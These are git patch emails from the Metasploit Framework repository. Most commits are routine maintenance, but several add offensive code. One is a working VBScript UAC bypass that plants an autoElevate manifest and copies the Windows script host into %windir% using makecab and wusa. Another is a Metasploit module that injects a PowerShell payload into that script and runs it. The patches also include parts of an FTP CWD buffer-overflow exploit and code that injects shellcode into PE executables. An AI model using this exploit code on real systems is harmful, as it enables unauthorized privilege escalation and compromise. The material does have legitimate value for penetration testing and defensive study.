[ 'Windows 7 SP1 x86', @@ -46,9 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll 'Offset' => 1037 } - ], + ] ], - 'DisclosureDate' => 'August 23 2015', + 'DisclosureDate' => 'Aug 23 2015', 'DefaultTarget' => 0)) end @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if (banner =~ /FTP Utility FTP server/) + if banner =~ /FTP Utility FTP server/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -72,10 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote buf << rand_text(3000) print_status("Sending exploit buffer...") - send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string + send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string handler disconnect end - end From 129edd8b2e7a0f94726fab235441762b24327390 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 23 Aug 2015 19:45:50 +0100 Subject: [PATCH 0339/2172] Original bypass script --- .../exploits/scripthost_uac_bypass/bypass.vbs | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 data/exploits/scripthost_uac_bypass/bypass.vbs diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs new file mode 100644 index 0000000000..90732390ef --- /dev/null +++ b/data/exploits/scripthost_uac_bypass/bypass.vbs @@ -0,0 +1,97 @@ +Option Explicit + +Dim HOST_MANIFEST: HOST_MANIFEST = _ + "<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _ + "<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _ + " xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _ + " manifestVersion=""1.0"">" & vbCrLf & _ + " <asmv3:trustInfo>" & vbCrLf & _ + " <security>" & vbCrLf & _ + " <requestedPrivileges>" & vbCrLf & _ + " <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _ + " </requestedPrivileges>" & vbCrLf & _ + " </security>" & vbCrLf & _ + " </asmv3:trustInfo>" & vbCrLf & _ + " <asmv3:application>" & vbCrLf & _ + " <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _ + " <autoElevate>true</autoElevate>" & vbCrLf & _ + " <dpiAware>true</dpiAware>" & vbCrLf & _ + " </asmv3:windowsSettings>" & vbCrLf & _ + " </asmv3:application>" & vbCrLf & _ + "</assembly>" + +Function CanBypass() + Dim KEY_NAME: KEY_NAME = _ + "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\" & _ + "Policies\System\ConsentPromptBehaviorAdmin" + Dim oWs: Set oWs = CreateObject("WScript.Shell") + CanBypass = Not CBool(oWs.RegRead(KEY_NAME) And 2) +End Function + +Sub Copy(ByVal sSource, ByVal sTarget) + Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") + Dim oWs: Set oWs = CreateObject("WScript.Shell") + Dim sTempFile: sTempFile = GetTempFilename() + oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True + oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True + oFso.DeleteFile sTempFile +End Sub + +Sub Elevate() + Const WINDIR = "%windir%" + If Not CanBypass() Then + Message "User will get warnings...", vbInformation + ' Exit Sub + End If + Dim oWs: Set oWs = CreateObject("WScript.Shell") + Dim sPath: sPath = Left(WScript.ScriptFullName, _ + InStrRev(WScript.ScriptFullName, "\")) + Dim sHost: sHost = Right(WScript.FullName, 11) + Dim sManifest: sManifest = sPath & sHost & ".manifest" + Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") + Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) + oStream.Write HOST_MANIFEST + oStream.Close + Copy sManifest, WINDIR + Copy WScript.FullName, WINDIR + oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART" + oFso.DeleteFile sManifest +End Sub + +Function GetTempFilename() + Const vbTemporaryFolder = 2 + Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") + Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) + GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) +End Function + +Function HasAdmin() + Const VALUE = "RandomValue" + Const KEYNAME = "HKLM\SOFTWARE\Microsoft\RandomKey" + On Error Resume Next : Err.Clear + Dim oWs: Set oWs = CreateObject("WScript.Shell") + oWs.RegWrite KEYNAME, VALUE + Call oWs.RegRead(KEYNAME) + oWs.RegDelete KEYNAME + HasAdmin = CBool(Err.Number = 0) +End Function + +Function Message(ByVal sMessage, ByVal iFlags) + Message = MsgBox(sMessage, vbSystemModal Or iFlags, WScript.ScriptName) +End Function + +Sub RunAsAdmin() + If HasAdmin() Then + Message "Elevated to admin, ...", vbInformation + Else + Message "Failed... no admin", vbExclamation + End If +End Sub + +If WScript.Arguments.Named.Exists("RESTART") Then + RunAsAdmin +ElseIf HasAdmin() Then + Message "U Wot M8? This is a elevation test and we're already admin!", vbCritical +Else + Elevate +End If \ No newline at end of file From 228087dced0d905bc5bd41e32b22b35ec59a1913 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 23 Aug 2015 20:16:15 +0100 Subject: [PATCH 0340/2172] Initial working scripthost bypass uac --- .../exploits/scripthost_uac_bypass/bypass.vbs | 43 +----- .../exploits/windows/local/bypassuac_vbs.rb | 141 ++++++++++++++++++ 2 files changed, 145 insertions(+), 39 deletions(-) create mode 100644 modules/exploits/windows/local/bypassuac_vbs.rb diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs index 90732390ef..0ba2444d13 100644 --- a/data/exploits/scripthost_uac_bypass/bypass.vbs +++ b/data/exploits/scripthost_uac_bypass/bypass.vbs @@ -1,5 +1,7 @@ Option Explicit +Dim oWs: Set oWs = CreateObject("WScript.Shell") +Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") Dim HOST_MANIFEST: HOST_MANIFEST = _ "<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _ "<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _ @@ -20,17 +22,8 @@ Dim HOST_MANIFEST: HOST_MANIFEST = _ " </asmv3:application>" & vbCrLf & _ "</assembly>" -Function CanBypass() - Dim KEY_NAME: KEY_NAME = _ - "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\" & _ - "Policies\System\ConsentPromptBehaviorAdmin" - Dim oWs: Set oWs = CreateObject("WScript.Shell") - CanBypass = Not CBool(oWs.RegRead(KEY_NAME) And 2) -End Function Sub Copy(ByVal sSource, ByVal sTarget) - Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") - Dim oWs: Set oWs = CreateObject("WScript.Shell") Dim sTempFile: sTempFile = GetTempFilename() oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True @@ -39,16 +32,10 @@ End Sub Sub Elevate() Const WINDIR = "%windir%" - If Not CanBypass() Then - Message "User will get warnings...", vbInformation - ' Exit Sub - End If - Dim oWs: Set oWs = CreateObject("WScript.Shell") Dim sPath: sPath = Left(WScript.ScriptFullName, _ InStrRev(WScript.ScriptFullName, "\")) Dim sHost: sHost = Right(WScript.FullName, 11) Dim sManifest: sManifest = sPath & sHost & ".manifest" - Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) oStream.Write HOST_MANIFEST oStream.Close @@ -60,38 +47,16 @@ End Sub Function GetTempFilename() Const vbTemporaryFolder = 2 - Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) End Function -Function HasAdmin() - Const VALUE = "RandomValue" - Const KEYNAME = "HKLM\SOFTWARE\Microsoft\RandomKey" - On Error Resume Next : Err.Clear - Dim oWs: Set oWs = CreateObject("WScript.Shell") - oWs.RegWrite KEYNAME, VALUE - Call oWs.RegRead(KEYNAME) - oWs.RegDelete KEYNAME - HasAdmin = CBool(Err.Number = 0) -End Function - -Function Message(ByVal sMessage, ByVal iFlags) - Message = MsgBox(sMessage, vbSystemModal Or iFlags, WScript.ScriptName) -End Function - Sub RunAsAdmin() - If HasAdmin() Then - Message "Elevated to admin, ...", vbInformation - Else - Message "Failed... no admin", vbExclamation - End If + oWs.Run "COMMAND" End Sub If WScript.Arguments.Named.Exists("RESTART") Then RunAsAdmin -ElseIf HasAdmin() Then - Message "U Wot M8? This is a elevation test and we're already admin!", vbCritical Else Elevate -End If \ No newline at end of file +End If diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb new file mode 100644 index 0000000000..b0bd3bf416 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::FileDropper + include Exploit::Powershell + include Post::File + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the missing .manifest on the script host + cscript/wscript.exe binaries. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Vozzie', + 'Ben Campbell' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html', + 'URL', 'https://github.com/Vozzie/uacscript' + ] + ], + 'DisclosureDate'=> 'Aug 22 2015' + )) + + end + + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! + + # get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs" + + upload_vbs(vbs_filepath) + + cmd_exec("cscript.exe //B #{vbs_filepath}") + end + + def check_permissions! + # Check if you are an admin + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end + + def upload_vbs(payload_filepath) + vbs = File.read(File.join(Msf::Config.data_directory, + 'exploits', + 'scripthost_uac_bypass', + 'bypass.vbs')) + + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true) + + vbs.gsub!('COMMAND', command) + print_status('Uploading the Payload VBS to the filesystem...') + begin + vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..") + write_file(payload_filepath, vbs) + register_file_for_cleanup(payload_filepath) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}") + end + end + + def validate_environment! + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + + winver = sysinfo['OS'] + + case winver + when /Windows (7|8|2008|2012)/ + print_good("#{winver} may be vulnerable.") + else + fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + end + + if is_uac_enabled? + print_status('UAC is Enabled, checking level...') + else + unless is_in_admin_group? + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + end +end From 1c91b126f175a6ab8cc98b836a0ad7036db86272 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 23 Aug 2015 22:03:57 +0100 Subject: [PATCH 0341/2172] X64 compat for payload_inject --- modules/exploits/windows/local/payload_inject.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 75d3b8566b..8648ea1dac 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Local 'sinn3r' ], 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, From 73cb1383d2a2801564d678f7063983f63528e88b Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Mon, 24 Aug 2015 10:55:43 +0800 Subject: [PATCH 0342/2172] amend banner info for check --- modules/exploits/windows/ftp/kmftp_utility_cwd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index cd66484eb3..3efb972a67 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'EBD-ID', '37908' ] + [ 'EBD', '37908' ] ], 'Privileged' => false, 'Payload' => @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if banner =~ /FTP Utility FTP server/ + if banner =~ /FTP Utility FTP server \(Version 1\.00\)/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe From 03b1ad74913f554bc43f1f73f47c4a2ef6d8b5bd Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Mon, 24 Aug 2015 11:18:26 +0800 Subject: [PATCH 0343/2172] add reference info --- modules/exploits/windows/ftp/kmftp_utility_cwd.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 3efb972a67..1093e16398 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'EBD', '37908' ] + [ 'EBD', '37908' ], + [ 'URL', 'https://www.exploit-db.com/exploits/37908/' ] ], 'Privileged' => false, 'Payload' => From 6962fcf2fd58e5eec4ace6b31a38cc8a1ae41a8f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 24 Aug 2015 09:22:42 -0500 Subject: [PATCH 0344/2172] Check the query result before accessing the header --- lib/net/dns/resolver.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index b593441f2d..719742de67 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -839,7 +839,7 @@ module Net # :nodoc: if name.include? "." @logger.debug "Search(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(name,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end # If the name doesn't end in a dot then apply the search list. @@ -848,7 +848,7 @@ module Net # :nodoc: newname = name + "." + domain @logger.debug "Search(#{newname},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(newname,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end end From 878508372216d280b95282d9529923442f6d2196 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 24 Aug 2015 12:36:15 -0500 Subject: [PATCH 0345/2172] Ensure disconnect --- modules/auxiliary/scanner/oracle/sid_brute.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index 4e52557fc3..a61284d5fd 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -85,10 +85,11 @@ class Metasploit3 < Msf::Auxiliary vprint_status "#{hostport} Oracle - Refused '#{sid}'" return :fail end - disconnect rescue ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{hostport} Oracle - unable to connect to a TNS listener") return :abort + ensure + disconnect end end From ed1065b297d0efd1d14352551e240bafc1768f61 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Mon, 24 Aug 2015 12:56:32 -0500 Subject: [PATCH 0346/2172] Create MatchResult with status Failure on session failure MSP-13104 --- lib/msf/core/db_manager/session.rb | 2 +- lib/msf/core/exploit.rb | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 455d482cc7..fc2afe3373 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -96,7 +96,7 @@ module Msf::DBManager::Session MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: session.exploit.user_data[:match], run: session.exploit.user_data[:run], - state: 'succeeded', + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED, ) infer_vuln_from_session(session, wspace) elsif session.via_exploit diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 2e16e5a978..81311255c0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1285,6 +1285,14 @@ class Exploit < Msf::Module end end + if user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: user_data[:match], + run: user_data[:run], + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED, + ) + end + framework.db.report_exploit_failure(info) end From 3c90ae1ebd622d4a6b8689686e8014f00c15a91b Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 24 Aug 2015 13:51:54 -0500 Subject: [PATCH 0347/2172] Use mov instead of lea for 64-bit absolute addrs --- lib/msf/core/exe/segment_injector.rb | 25 ++++++++++++++++++------- lib/msf/util/exe.rb | 2 +- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 272cce5df4..80b25a2de0 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -58,17 +58,26 @@ module Exe def create_thread_stub_x64 <<-EOS mov rcx, hook_libname - call [iat_LoadLibraryA] + sub rsp, 30h + mov rax, iat_LoadLibraryA + call [rax] + add rsp, 30h + mov rdx, hook_funcname mov rcx, rax - call [iat_GetProcAddress] + sub rsp, 30h + mov rax, iat_GetProcAddress + call [rax] + add rsp, 30h + push 0 push 0 mov r9, 0 - lea r8, [thread_hook] + mov r8, thread_hook mov rdx, 0 mov rcx, 0 call rax + add rsp,10h ; clean up the push 0 above jmp entrypoint @@ -76,12 +85,11 @@ module Exe hook_funcname db 'CreateThread', 0 thread_hook: - lea #{buffer_register}, [shellcode] + mov #{buffer_register}, shellcode shellcode: EOS end - def create_thread_stub_x86 <<-EOS pushad @@ -106,15 +114,17 @@ module Exe hook_funcname db 'CreateThread', 0 thread_hook: - lea #{buffer_register}, [thread_hook] - add #{buffer_register}, 9 + lea #{buffer_register}, [shellcode] + shellcode: EOS end def payload_stub(prefix) asm = "hook_entrypoint:\n#{prefix}\n" asm << create_thread_stub + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + @payload end @@ -168,6 +178,7 @@ entrypoint: jnz entrypoint" end end + # Generate a new code section set to RWX with our payload in it s = Metasm::PE::Section.new s.name = '.text' diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7d6ea6e274..e40a373822 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -641,7 +641,7 @@ require 'msf/core/exe/segment_appender' opts[:exe_type] = :dll if opts[:inject] - raise RuntimeError, 'Template injection unsupported for x64 DLLs' + self.to_win64pe(framework, code, opts) else exe_sub_method(code,opts) end From ec7a07e0bbf3378d225e3b6a2ae00994d3562b93 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 24 Aug 2015 14:05:24 -0500 Subject: [PATCH 0348/2172] Move DLL prefix calculation to its own method --- lib/msf/core/exe/segment_injector.rb | 45 +++++++++++++++++----------- 1 file changed, 27 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 80b25a2de0..3c1d98fa82 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -160,24 +160,7 @@ module Exe # Don't rebase if we can help it since Metasm doesn't do relocations well pe.optheader.dll_characts.delete("DYNAMIC_BASE") - prefix = '' - if pe.header.characteristics.include? "DLL" - # if there is no entry point, just return after we bail or spawn shellcode - if pe.optheader.entrypoint == 0 - prefix = "cmp [esp + 8], 1 - jz spawncode -entrypoint: - xor eax, eax - inc eax - ret 0x0c - spawncode:" - else - # there is an entry point, we'll need to go to it after we bail or spawn shellcode - # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain - prefix = "cmp [esp + 8], 1 - jnz entrypoint" - end - end + prefix = dll_prefix(pe) # Generate a new code section set to RWX with our payload in it s = Metasm::PE::Section.new @@ -199,6 +182,32 @@ entrypoint: pe.encode_string end + # @param pe [Metasm::PE] + # @return [String] assembly code to place at the entrypoint. Will be empty + # for non-DLL executables. + def dll_prefix(pe) + prefix = '' + if pe.header.characteristics.include? "DLL" + # if there is no entry point, just return after we bail or spawn shellcode + if pe.optheader.entrypoint == 0 + prefix = "cmp [esp + 8], 1 + jz spawncode +entrypoint: + xor eax, eax + inc eax + ret 0x0c + spawncode:" + else + # there is an entry point, we'll need to go to it after we bail or spawn shellcode + # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain + prefix = "cmp [esp + 8], 1 + jnz entrypoint" + end + end + + prefix + end + end end end From eb47973533ec43b8ddc2c6153a7c6140b4c2bc85 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 24 Aug 2015 15:08:45 -0500 Subject: [PATCH 0349/2172] Check debug.keystore --- tools/install_msf_apk.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/install_msf_apk.sh b/tools/install_msf_apk.sh index 87dea0308f..67ac445f28 100755 --- a/tools/install_msf_apk.sh +++ b/tools/install_msf_apk.sh @@ -18,6 +18,12 @@ then exit fi +if ! [ -e "$HOME/.android/debug.keystore" ] +then + echo "Missing ~/.android/debug.keystore" + exit +fi + if [ -z "$apk_path" ] then echo "APK path is required." From d372a6a16dd5c319db9ac3152fe3db099bfe9eab Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 22 Dec 2014 20:26:30 -0600 Subject: [PATCH 0350/2172] Gemify metasm --- Gemfile.lock | 1 + lib/metasm.rb | 2 - lib/metasm/.hgtags | 3 - lib/metasm/BUGS | 11 - lib/metasm/CREDITS | 17 - lib/metasm/INSTALL | 61 - lib/metasm/LICENCE | 458 -- lib/metasm/README | 278 -- lib/metasm/TODO | 114 - lib/metasm/metasm.rb | 88 - lib/metasm/metasm/compile_c.rb | 1463 ------ lib/metasm/metasm/cpu/arc.rb | 8 - lib/metasm/metasm/cpu/arc/decode.rb | 425 -- lib/metasm/metasm/cpu/arc/main.rb | 191 - lib/metasm/metasm/cpu/arc/opcodes.rb | 588 --- lib/metasm/metasm/cpu/arm.rb | 14 - lib/metasm/metasm/cpu/arm/debug.rb | 39 - lib/metasm/metasm/cpu/arm/decode.rb | 168 - lib/metasm/metasm/cpu/arm/encode.rb | 92 - lib/metasm/metasm/cpu/arm/main.rb | 72 - lib/metasm/metasm/cpu/arm/opcodes.rb | 323 -- lib/metasm/metasm/cpu/arm/parse.rb | 142 - lib/metasm/metasm/cpu/arm/render.rb | 55 - lib/metasm/metasm/cpu/bpf.rb | 9 - lib/metasm/metasm/cpu/bpf/decode.rb | 142 - lib/metasm/metasm/cpu/bpf/main.rb | 60 - lib/metasm/metasm/cpu/bpf/opcodes.rb | 81 - lib/metasm/metasm/cpu/bpf/render.rb | 41 - lib/metasm/metasm/cpu/cy16.rb | 9 - lib/metasm/metasm/cpu/cy16/decode.rb | 253 -- lib/metasm/metasm/cpu/cy16/main.rb | 63 - lib/metasm/metasm/cpu/cy16/opcodes.rb | 78 - lib/metasm/metasm/cpu/cy16/render.rb | 41 - lib/metasm/metasm/cpu/dalvik.rb | 11 - lib/metasm/metasm/cpu/dalvik/decode.rb | 218 - lib/metasm/metasm/cpu/dalvik/main.rb | 109 - lib/metasm/metasm/cpu/dalvik/opcodes.rb | 374 -- lib/metasm/metasm/cpu/ia32.rb | 17 - lib/metasm/metasm/cpu/ia32/compile_c.rb | 1521 ------- lib/metasm/metasm/cpu/ia32/debug.rb | 193 - lib/metasm/metasm/cpu/ia32/decode.rb | 1326 ------ lib/metasm/metasm/cpu/ia32/decompile.rb | 564 --- lib/metasm/metasm/cpu/ia32/encode.rb | 320 -- lib/metasm/metasm/cpu/ia32/main.rb | 281 -- lib/metasm/metasm/cpu/ia32/opcodes.rb | 1424 ------ lib/metasm/metasm/cpu/ia32/parse.rb | 359 -- lib/metasm/metasm/cpu/ia32/render.rb | 118 - lib/metasm/metasm/cpu/mips.rb | 14 - lib/metasm/metasm/cpu/mips/compile_c.rb | 7 - lib/metasm/metasm/cpu/mips/debug.rb | 42 - lib/metasm/metasm/cpu/mips/decode.rb | 284 -- lib/metasm/metasm/cpu/mips/encode.rb | 52 - lib/metasm/metasm/cpu/mips/main.rb | 79 - lib/metasm/metasm/cpu/mips/opcodes.rb | 512 --- lib/metasm/metasm/cpu/mips/parse.rb | 51 - lib/metasm/metasm/cpu/mips/render.rb | 43 - lib/metasm/metasm/cpu/msp430.rb | 8 - lib/metasm/metasm/cpu/msp430/decode.rb | 247 - lib/metasm/metasm/cpu/msp430/main.rb | 62 - lib/metasm/metasm/cpu/msp430/opcodes.rb | 101 - lib/metasm/metasm/cpu/pic16c/decode.rb | 41 - lib/metasm/metasm/cpu/pic16c/main.rb | 17 - lib/metasm/metasm/cpu/pic16c/opcodes.rb | 68 - lib/metasm/metasm/cpu/ppc.rb | 11 - lib/metasm/metasm/cpu/ppc/decode.rb | 270 -- lib/metasm/metasm/cpu/ppc/decompile.rb | 251 - lib/metasm/metasm/cpu/ppc/encode.rb | 51 - lib/metasm/metasm/cpu/ppc/main.rb | 134 - lib/metasm/metasm/cpu/ppc/opcodes.rb | 416 -- lib/metasm/metasm/cpu/ppc/parse.rb | 55 - lib/metasm/metasm/cpu/python.rb | 8 - lib/metasm/metasm/cpu/python/decode.rb | 136 - lib/metasm/metasm/cpu/python/main.rb | 36 - lib/metasm/metasm/cpu/python/opcodes.rb | 180 - lib/metasm/metasm/cpu/sh4.rb | 8 - lib/metasm/metasm/cpu/sh4/decode.rb | 367 -- lib/metasm/metasm/cpu/sh4/main.rb | 301 -- lib/metasm/metasm/cpu/sh4/opcodes.rb | 380 -- lib/metasm/metasm/cpu/x86_64.rb | 15 - lib/metasm/metasm/cpu/x86_64/compile_c.rb | 1036 ----- lib/metasm/metasm/cpu/x86_64/debug.rb | 59 - lib/metasm/metasm/cpu/x86_64/decode.rb | 311 -- lib/metasm/metasm/cpu/x86_64/encode.rb | 293 -- lib/metasm/metasm/cpu/x86_64/main.rb | 147 - lib/metasm/metasm/cpu/x86_64/opcodes.rb | 136 - lib/metasm/metasm/cpu/x86_64/parse.rb | 76 - lib/metasm/metasm/cpu/x86_64/render.rb | 35 - lib/metasm/metasm/cpu/z80.rb | 9 - lib/metasm/metasm/cpu/z80/decode.rb | 313 -- lib/metasm/metasm/cpu/z80/main.rb | 67 - lib/metasm/metasm/cpu/z80/opcodes.rb | 224 - lib/metasm/metasm/cpu/z80/render.rb | 59 - lib/metasm/metasm/debug.rb | 1445 ------ lib/metasm/metasm/decode.rb | 244 - lib/metasm/metasm/decompile.rb | 2658 ----------- lib/metasm/metasm/disassemble.rb | 2220 --------- 